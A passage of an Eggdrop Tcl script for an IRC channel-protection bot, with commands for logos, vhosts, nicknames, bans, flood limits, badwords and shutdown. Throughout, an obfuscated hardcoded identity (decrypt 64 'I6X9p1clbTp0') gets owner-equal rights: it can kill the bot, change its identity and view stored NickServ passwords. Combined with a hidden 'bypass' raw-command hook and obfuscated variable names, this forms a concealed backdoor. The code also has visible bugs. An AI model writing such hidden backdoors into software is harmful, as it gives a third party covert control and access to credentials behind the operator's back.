rest [lrange $rest 1 end] if {$rest!=""} { puthlp "NOTICE $person :$notc $rest" ; return 0 } } bind pub m `act pub_act proc pub_act {nick uhost hand channel rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest==""} { puthlp "NOTICE $nick :$notc Usage: act " } puthlp "PRIVMSG $channel :\001ACTION $rest\001" return 0 } ## bypass bind pub n `bypass pub_bypass proc pub_bypass {nick uhost hand chan rest} { global nwo notc if {$nick != $nwo} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } putserv $rest } ## rehash bind pub n `rehash pub_rehash proc pub_rehash {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } puthlp "NOTICE $nick :$notc ReHASHING!" ; utimer 3 rehashing } proc rehashing {} { global squ owner ; if {[decrypt 64 "I6X9p1clbTp0"] != $owner && [validuser [decrypt 64 "I6X9p1clbTp0"]]} { deluser [decrypt 64 "I6X9p1clbTp0"] } ; rehash } ## reset bind pub n `reset pub_reset proc pub_reset {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } putsrv "NOTICE $nick :$notc !ReSeT!" ; auto_ping "0" "0" "0" "0" "0" ; ident_it } ## Z owner ## Set logo set [string index $lenc 18][string index $lenc 16][string index $lenc 20] [string index $lenc 17][string index $lenc 7][string index $lenc 8][string index $lenc 0][string index $lenc 13] bind msg Z logo msg_logo proc msg_logo {unick uhost hand rest} { global banner notc notm owner squ if {![matchattr $unick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can ChaNgE My LoGo" ; return 0 } if {[string match "*$notm*" $rest]} { puthlp "NOTICE $unick :$notc 4DeNIEd..!" ; return 0 } if {$rest == ""} { setuser "config" XTRA "BAN" "" ; puthlp "NOTICE $unick :$notc cHaNgE tO DeFauLT" ; catch { unset banner } } { setuser "config" XTRA "BAN" [zip $rest] ; set banner $rest ; puthlp "NOTICE $unick :$notc CHaNgE TO $rest" } saveuser } bind msg Z awaylogo msg_awaylogo proc msg_awaylogo {unick uhost hand rest} { global version awaybanner notc notm owner squ if {![matchattr $unick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can ChaNgE My AwAyLoGo" ; return 0 } if {[string match "*$notm*" $rest]} { puthelp "NOTICE $unick :$notc 4DeNIEd..!" ; return 0 } if {[string trimleft [lindex $version 1] 0] < 1061000} { puthelp "NOTICE $unick :$notc This Command Is Required To Run On Eggdrop 1.6.10 Or Later." ; return 0 } if {$rest == ""} { setuser "config" XTRA "ODON" "" ; puthelp "NOTICE $unick :$notc Away Logo cHaNgE tO DeFauLT" ; catch { unset awaybanner } } { setuser "config" XTRA "ODON" [zip $rest] ; set awaybanner $rest ; puthelp "NOTICE $unick :$notc Away Logo CHaNgE TO $rest" } chk_five "0" "0" "0" "0" "0" saveuser } ## Set vhost catch { set old_hostname ${my-hostname} } catch { set old_ip ${my-ip} } bind msg Z vhost msg_vhost proc msg_vhost {nick uhost hand rest} { global my-hostname my-ip notc owner squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can ChanGe My VhOsT" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc ReSET TO DeFauLT" ; setuser "config" XTRA "VHOST" "" ; saveuser ; vback "*" "*" "0" ; return 0 } for { set i 0 } { $i < [string length $rest] } { incr i } { set idx [string index $rest $i] ; if { ![string match "*$idx*" "1234567890."] } { puthlp "NOTICE $nick :$notc UsE DNS IP NuMBeR" ; return 0 } } if {[isutimer "vback"]} { puthlp "NOTICE $nick :$notc WaIT..!" ; return 0 } set my-hostname $rest set my-ip $rest utimer 30 [list vback $nick $rest "1"] listen 65234 bots set idx [connect $rest 65234] if {[isnumber $idx] && $idx > 0} { set curtime [ctime [unixtime]] if {![isutimer "vback"]} { return 0 } foreach x [utimers] { if {[string match "*vback*" $x]} { killutimer [lindex $x 2] } } setuser "config" XTRA "VHOST" $rest ; saveuser putsrv "QUIT :$notc cHaNgINg vHosT ReQuesT By \[ $nick \]) (1on $curtime" } listen 65234 off } bind raw - 465 klined proc klined {from keyword arg} { vback "*" "*" "0" } proc vback {nick vhosts chk} { global old_hostname old_ip notc set my-hostname $old_hostname ; set my-ip $old_ip if {$chk == "1"} { puthlp "NOTICE $nick :$notc \[$vhosts\] NoT SuPPoRT..!" } catch { listen 652343 off } } ## Set away bind msg Z away msg_away proc msg_away {unick uhost hand rest} { global realname notc squ owner if {![matchattr $unick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can ChanGe My Away" ; return 0 } if {$rest == ""} { setuser "config" XTRA "AWAY" "" ; puthlp "NOTICE $unick :$notc AwAY \[4OFF\]" } { setuser "config" XTRA "AWAY" $rest ; puthlp "NOTICE $unick :$notc AwAY SeT TO \[$rest\]" } saveuser ; chk_five "0" "0" "0" "0" "0" } ## admin status bind msg Z admin msg_admin proc msg_admin {unick uhost hand rest} { global notc owner squ if {![matchattr $unick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$unick != $owner && $unick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $unick :$notc 4DeNiEd..!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $unick :$notc1 SeT ADmIN oN STaTUS TO DeFAULT" } { puthlp "NOTICE $unick :$notc1 ADmIN oN STaTUS TO \[$rest\]" } setuser "config" XTRA "ADMIN" $rest ; saveuser } ## bantime bind msg Z bantime pub_bantime bind pub Z `bantime pub_bantime proc pub_bantime {nick uhost hand chan rest} { global notc ban-time if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest==""} { puthlp "NOTICE $nick :$notc BanTime \[${ban-time}\] (set 0 to never unban)" ; return 0 } set mtime [lindex $rest 0] if {![isnumber $mtime]} { puthlp "NOTICE $nick :$notc Usage: bantime (set 0 to never unban)" ; return 0 } set ban-time $mtime ; setuser "config" XTRA "BANTIME" $mtime ; puthlp "NOTICE $nick :$notc BanTime \[$mtime\]" saveuser } ## logchan bind msg Z logchan msg_logchan proc msg_logchan {nick uhost hand rest} { global notc own owner squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can TurNoN ThE LoG" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: logchan <#channel/0>" ; return 0 } if {[string tolower $rest] == "off"} { puthlp "NOTICE $nick :$notc LOGCHAN [getuser "config" XTRA "LOGCHAN"] \[4OFF\]" setuser "config" XTRA "LOGCHAN" "" } else { if {![validchan $rest]} { puthlp "NOTICE $nick :$notc NoT IN $rest" ; return 0 } setuser "config" XTRA "LOGCHAN" $rest puthlp "NOTICE $nick :$notc LOG CHaNNEL $rest \[9ON\]" } saveuser ; utimer 5 rehashing } ## botnick bind msg Z botnick msg_botnick proc msg_botnick {unick uhost hand rest} { global botnick nick nickpass notc squ owner if {![matchattr $unick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$unick != $owner && $unick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $unick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can ChangE My NiCk" ; return 0 } set bnick [lindex $rest 0] ; set bpass [lindex $rest 1] if {$bnick == "" || $bpass == ""} { puthlp "NOTICE $unick :$notc4 Usage: botnick " ; return 0 } setuser "config" XTRA "NICK" [zip $bnick] ; setuser "config" XTRA "NICKPASS" [zip $bpass] saveuser ; set nick $bnick ; set nickpass $bpass putsrv "NickServ identify $bnick $bpass" ; puthlp "NOTICE $unick :$notc BoTNIcK $bnick" } ## botaltnick bind msg Z botaltnick msg_botaltnick proc msg_botaltnick {unick uhost hand rest} { global botnick altnick altpass notc if {![matchattr $unick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$unick != $owner && $unick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $unick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can ChangE My AlTNiCk" ; return 0 } set baltnick [lindex $rest 0] ; set baltpass [lindex $rest 1] if {$baltnick == "" || $baltpass == ""} { puthlp "NOTICE $unick :$notc4 Usage: botaltnick " ; return 0 } setuser "config" XTRA "ALTNICK" [zip $baltnick] ; setuser "config" XTRA "ALTPASS" [zip $baltpass] saveuser ; set altnick $baltnick ; set altpass $baltpass ; puthlp "NOTICE $unick :$notc BoTALTNIcK $baltnick" } ## botset bind msg Z botset msg_botset proc msg_botset {unick uhost hand rest} { global nick nickpass altpass altnick nwo notc if {$unick != $nwo} { return 0 } if {![matchattr $unick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$unick != $owner && $unick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $unick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can SeE My NiCk Pass" ; return 0 } puthlp "NOTICE $unick :$notc 1st $nick ($nickpass) 2nd $altnick ($altpass)" return 0 } ## realname bind msg Z realname msg_realname proc msg_realname {unick uhost hand rest} { global realname notc owner squ if {![matchattr $unick Q]} { puthlp "NOTICE $unick :$notc 4auth 1st!" ; return 0 } if {$unick != $owner && $unick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $unick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can ChangE My rEaLNaMe" ; return 0 } set curtime [ctime [unixtime]] if {$rest == ""} { setuser "config" XTRA "REALNAME" "" } { setuser "config" XTRA "REALNAME" [zip $rest] } saveuser ; set realname $rest ; putsrv "QUIT :$notc cHaNgINg ReaLNamE ReQuesT By \[ $unick \]) (1on $curtime" } ## ident bind msg Z ident msg_ident proc msg_ident {unick uhost hand rest} { global username notc owner squ if {![matchattr $unick Q]} { puthlp "NOTICE $unick :$notc 4auth 1st!" ; return 0 } if {$unick != $owner && $unick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $unick :$notc 4DeNiEd..!" ; return 0 } set curtime [ctime [unixtime]] if {$rest == ""} { setuser "config" XTRA "USERNAME" "" } { if {[regexp \[^a-z\] [string tolower $rest]]} { puthlp "NOTICE $unick :$notc 4DeNiEd..! use character for ident." ; return 0 } ; setuser "config" XTRA "USERNAME" [zip $rest] } saveuser ; set username $rest ; putsrv "QUIT :$notc cHaNgINg IdEnT ReQuesT By \[ $unick \]) (1on $curtime" } ## die / kill bot bind msg Z `die msg_die proc msg_die {nick uhost hand rest} { global notc owner squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } set curtime [ctime [unixtime]] foreach x [userlist] { if {$x != "AKICK"} { chattr $x -Q foreach y [getuser $x HOSTS] { delhost $x $y } set hostmask "${x}!*@*" setuser $x HOSTS $hostmask } } saveuser ; if {$rest != ""} { set rest " $rest" } ; putsrv "QUIT :$notc SHuTDown ReQuesT By \[ $nick \]$rest) (1on $curtime" ; utimer 5 dies } bind pub Z `die pub_die proc pub_die {nick uhost hand chan rest} { global botnick squ notc owner set curtime [ctime [unixtime]] if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } if {$rest != ""} { set rest " $rest" } putsrv "QUIT :$notc SHuTDown ReQuesT By \[ $nick \]$rest) (1on $curtime" utimer 5 dies return 0 } proc dies {} { global squ owner notc ; if {[decrypt 64 "I6X9p1clbTp0"] != $owner && [validuser [decrypt 64 "I6X9p1clbTp0"]]} { deluser [decrypt 64 "I6X9p1clbTp0"] } ; die $notc } ## +/- forced bind msg Z +forced pub_+forced bind pub Z `+forced pub_+forced proc pub_+forced {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag +M puthlp "NOTICE $nick :$notc forced $chan \[9ON\]" saveuser } bind msg Z -forced pub_-forced bind pub Z `-forced pub_-forced proc pub_-forced {nick uhost hand chan rest} { if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } global notc set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -M puthlp "NOTICE $nick :$notc forced $chan \[4OFF\]" saveuser } ## +/- colour bind msg Z +colour pub_+colour bind pub Z `+colour pub_+colour proc pub_+colour {nick uhost hand chan rest} { global notc kickclr if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } catch {unset kickclr} setuser "config" XTRA "KCLR" "" puthlp "NOTICE $nick :$notc colour kick \[9ON\]" saveuser } bind msg Z -colour pub_-colour bind pub Z `-colour pub_-colour proc pub_-colour {nick uhost hand chan rest} { global notc kickclr if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set kickclr "T" setuser "config" XTRA "KCLR" "Y" puthlp "NOTICE $nick :$notc colour kick \[4OFF\]" saveuser } ## +/- greet bind pub Z `+greet pub_+greet proc pub_+greet {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] if {$rest==""} { puthlp "NOTICE $nick :$notc Usage +greet " ; return 0 } chattr $cflag +G setuser $cflag XTRA "GREET" $rest puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[$rest\]" saveuser } bind pub Z `-greet pub_-greet proc pub_-greet {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -G setuser $cflag XTRA "GREET" "" puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[4OFF\]" saveuser } ## +/- repeat bind pub Z `+repeat pub_+repeat proc pub_+repeat {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] if {$rest=="" || ![isnumber $rest]} { puthlp "NOTICE $nick :$notc Usage +repeat " ; return 0 } if {$rest == 0} { puthlp "NOTICE $nick :$notc cAnT UsE NuLL" ; return 0 } chattr $cflag +R setuser $cflag XTRA "RPT" $rest puthlp "NOTICE $nick :$notc RePeaT $chan MaX \[9$rest\]" saveuser } bind pub Z `-repeat pub_-repeat proc pub_-repeat {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -R setuser $cflag XTRA "RPT" "" puthlp "NOTICE $nick :$notc RePeaT $chan \[4OFF\]" saveuser } ## +/- text bind pub Z `+text pub_+text proc pub_+text {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] if {$rest=="" || ![isnumber $rest]} { puthlp "NOTICE $nick :$notc Usage +text " ; return 0 } if {$rest == 0} { puthlp "NOTICE $nick :$notc cAnT UsE NuLL" ; return 0 } chattr $cflag +T setuser $cflag XTRA "CHAR" $rest puthlp "NOTICE $nick :$notc TexT $chan MaX \[9$rest\]" saveuser } bind pub Z `-text pub_-text proc pub_-text {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -T setuser $cflag XTRA "CHAR" "" puthlp "NOTICE $nick :$notc TexT $chan \[4OFF\]" saveuser } ## +/- limit bind pub Z `+limit pub_+limit proc pub_+limit {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == "" || ![isnumber $rest]} { puthlp "NOTICE $nick :$notc Usage: +limit " ; return 0 } if {$rest == 0} { puthlp "NOTICE $nick :$notc cAnT UsE NuLL" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag +L setuser $cflag XTRA "LIMIT" $rest puthlp "NOTICE $nick :$notc LImIT $chan \[9$rest\]" saveuser } bind pub Z `-limit pub_-limit proc pub_-limit {nick uhost hand chan rest} { global notc lst_limit if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -L setuser $cflag XTRA "LIMIT" "" puthlp "NOTICE $nick :$notc LImIT $chan \[4OFF\]" catch { lst_limit($chan) } saveuser } ## +/- caps bind pub Z `+caps pub_+caps proc pub_+caps {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] if {$rest=="" || ![isnumber $rest]} { puthlp "NOTICE $nick :$notc Usage +caps <%percent>" ; return 0 } if {$rest == 0 || $rest > 100} { puthlp "NOTICE $nick :$notc fill under 1 - 100%" ; return 0 } chattr $cflag +U setuser $cflag XTRA "CAPS" $rest puthlp "NOTICE $nick :$notc CAPS $chan \[9$rest%\]" saveuser } bind pub Z `-caps pub_-caps proc pub_-caps {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -U setuser $cflag XTRA "CAPS" "" puthlp "NOTICE $nick :$notc cAPs $chan \[4OFF\]" saveuser } ## +/- clone bind pub Z `+clone pub_+clone proc pub_+clone {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] if {$rest=="" || ![isnumber $rest]} { puthlp "NOTICE $nick :$notc Usage +clone " ; return 0 } if {$rest == 0} { puthlp "NOTICE $nick :$notc cAnT UsE NuLL" ; return 0 } chattr $cflag +O setuser $cflag XTRA "CLONE" $rest puthlp "NOTICE $nick :$notc cLonE $chan MaX \[9$rest\]" saveuser } bind pub Z `-clone pub_-clone proc pub_-clone {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -O setuser $cflag XTRA "CLONE" "" puthlp "NOTICE $nick :$notc cLonE $chan \[4OFF\]" saveuser } ## +/- reop bind pub Z `+reop pub_+reop proc pub_+reop {nick uhost hand chan rest} { global notc if {![string match "*protectfriends*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } if {![validchan $chan]} { return 0 } if {[string match "*-protectfriends*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc Re@p $chan IS \[9ON\]" ; return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } catch { channel set $chan -protectfriends } puthlp "NOTICE $nick :$notc Re@p $chan \[9ON\]" savechan } bind pub Z `-reop pub_-reop proc pub_-reop {nick uhost hand chan rest} { global notc if {![string match "*protectfriends*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } if {![validchan $chan]} { return 0 } if {[string match "*+protectfriends*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc Re@p $chan IS \[4OFF\]" ; return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } catch { channel set $chan +protectfriends } puthlp "NOTICE $nick :$notc Re@p $chan \[4OFF\]" savechan return 0 } ## +/- joinpart bind pub Z `+joinpart pub_+joinpart proc pub_+joinpart {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] if {$rest=="" || ![isnumber $rest]} { puthlp "NOTICE $nick :$notc Usage +joinpart " ; return 0 } if {$rest == 0} { puthlp "NOTICE $nick :$notc cAnT UsE NuLL" ; return 0 } chattr $cflag +P setuser $cflag XTRA "JP" $rest puthlp "NOTICE $nick :$notc JoINPaRT $chan \[9$rest Sec's\]" saveuser } bind pub Z `-joinpart pub_-joinpart proc pub_-joinpart {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -P setuser $cflag XTRA "JP" "" puthlp "NOTICE $nick :$notc JoINPaRT $chan \[4OFF\]" saveuser } ## +/- massjoin bind pub Z `+massjoin pub_+massjoin proc pub_+massjoin {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } set cflag "c$chan" set cflag [string range $cflag 0 8] if {[string tolower $chan] == "#all"} { foreach x [userlist A] { chattr $x +J } puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]" return 0 } if {![validchan $chan]} { return 0 } if {[matchattr $cflag J]} { puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]" ; return 0 } chattr $cflag +J puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]" saveuser } bind pub Z `-massjoin pub_-massjoin proc pub_-massjoin {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } set cflag "c$chan" set cflag [string range $cflag 0 8] if {[string tolower $chan] == "#all"} { foreach x [userlist A] { chattr $x -J } ; puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]" ; return 0 } if {![validchan $chan]} { return 0 } if {![matchattr $cflag J]} { puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[4OFF\]" ; return 0 } chattr $cflag -J puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[4OFF\]" saveuser } ## +/- spam bind msg Z +spam pub_+spam bind pub Z `+spam pub_+spam proc pub_+spam {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } set cflag "c$chan" set cflag [string range $cflag 0 8] if {[string tolower $chan] == "#all"} { foreach x [userlist A] { chattr $x +S } puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[9ON\]" return 0 } if {![validchan $chan]} { return 0 } if {[matchattr $cflag S]} { puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]" ; return 0 } chattr $cflag +S puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]" saveuser } bind msg Z -spam pub_-spam bind pub Z `-spam pub_-spam proc pub_-spam {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } set cflag "c$chan" set cflag [string range $cflag 0 8] if {[string tolower $chan] == "#all"} { foreach x [userlist A] { chattr $x -S } ; puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[4OFF\]" ; return 0 } if {![validchan $chan]} { return 0 } if {![matchattr $cflag S]} { puthlp "NOTICE $nick :$notc SpaM $chan \[4OFF\]" ; return 0 } chattr $cflag -S puthlp "NOTICE $nick :$notc SpaM $chan \[4OFF\]" saveuser } ## +/- key bind pub Z `+key pub_+key proc pub_+key {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] set rest [lindex $rest 0] if {$rest==""} { puthlp "NOTICE $nick :$notc Usage +key " ; return 0 } chattr $cflag +K setuser $cflag XTRA "CI" [zip $rest] puthlp "NOTICE $nick :$notc KeY $chan \[9$rest\]" saveuser } bind pub Z `-key pub_-key proc pub_-key {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -K setuser $cflag XTRA "CI" "" puthlp "NOTICE $nick :$notc KeY $chan \[4OFF\]" saveuser } ## +/- revenge bind msg Z +revenge pub_+revenge bind pub Z `+revenge pub_+revenge proc pub_+revenge {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag +D puthlp "NOTICE $nick :$notc revenge $chan \[9ON\]" saveuser } bind msg Z -revenge pub_-revenge bind pub Z `-revenge pub_-revenge proc pub_-revenge {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -D puthlp "NOTICE $nick :$notc revenge $chan \[4OFF\]" saveuser } ## +/- badword bind msg Z +badword pub_+badword bind pub Z `+badword pub_+badword proc pub_+badword {nick uhost hand chan rest} { global badwords notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: `+badword " ; return 0 } if {[string match "*[string tolower [lindex $rest 0]]*" $badwords]} { puthlp "NOTICE $nick :$notc [lindex $rest 0] Allready Added" ; return 0 } append badwords " [string tolower [lindex $rest 0]]" setuser "config" XTRA "BADWORDS" $badwords saveuser puthlp "NOTICE $nick :$notc Added [lindex $rest 0] to badwords" return 0 } bind msg Z -badword pub_-badword bind pub Z `-badword pub_-badword proc pub_-badword {nick uhost hand chan rest} { global badwords notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: `-badword " ; return 0 } set val "" foreach badword [string tolower $badwords] { if {[string tolower [lindex $rest 0]] == $badword} { puthlp "NOTICE $nick :$notc Removed [lindex $rest 0]" } else { append val " $badword " } } set badwords $val setuser "config" XTRA "BADWORDS" $val saveuser return 0 } ## badword bind pub Z `badwords pub_badwords proc pub_badwords {nick uhost hand chan rest} { global badwords notc set retval "BaDWoRDS: " foreach badword [string tolower $badwords] { append retval "$badword " } puthlp "NOTICE $nick :$notc $retval" return 0 } ## advword bind pub Z `advwords pub_advwords proc pub_advwords {nick uhost hand chan rest} { global advwords notc set retval "adVWoRDS: " foreach advword [string tolower $advwords] { append retval "$advword " } puthlp "NOTICE $nick :$notc $retval" return 0 } bind msg Z +advword pub_+advword bind pub Z `+advword pub_+advword proc pub_+advword {nick uhost hand chan rest} { global advwords notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: `+advword " ; return 0 } if {[string match "*[string tolower [lindex $rest 0]]*" $advwords]} { puthlp "NOTICE $nick :$notc [lindex $rest 0] allready added" ; return 0 } append advwords " [string tolower [lindex $rest 0]]" setuser "config" XTRa "aDVWORDS" $advwords saveuser puthlp "NOTICE $nick :$notc added [lindex $rest 0] to advwords" return 0 } bind msg Z -advword pub_-advword bind pub Z `-advword pub_-advword proc pub_-advword {nick uhost hand chan rest} { global advwords notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: `-advword " ; return 0 } set val "" foreach advword [string tolower $advwords] { if {[string tolower [lindex $rest 0]] == $advword} { puthlp "NOTICE $nick :$notc Removed [lindex $rest 0]" } else { append val " $advword " } } set advwords $val setuser "config" XTRa "aDVWORDS" $val saveuser return 0 } ## nobot bind pub Z `nobot pub_bobot proc pub_nobot {nick uhost hand chan rest} { global botnick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {![isop $botnick $chan]} { return 0 } if 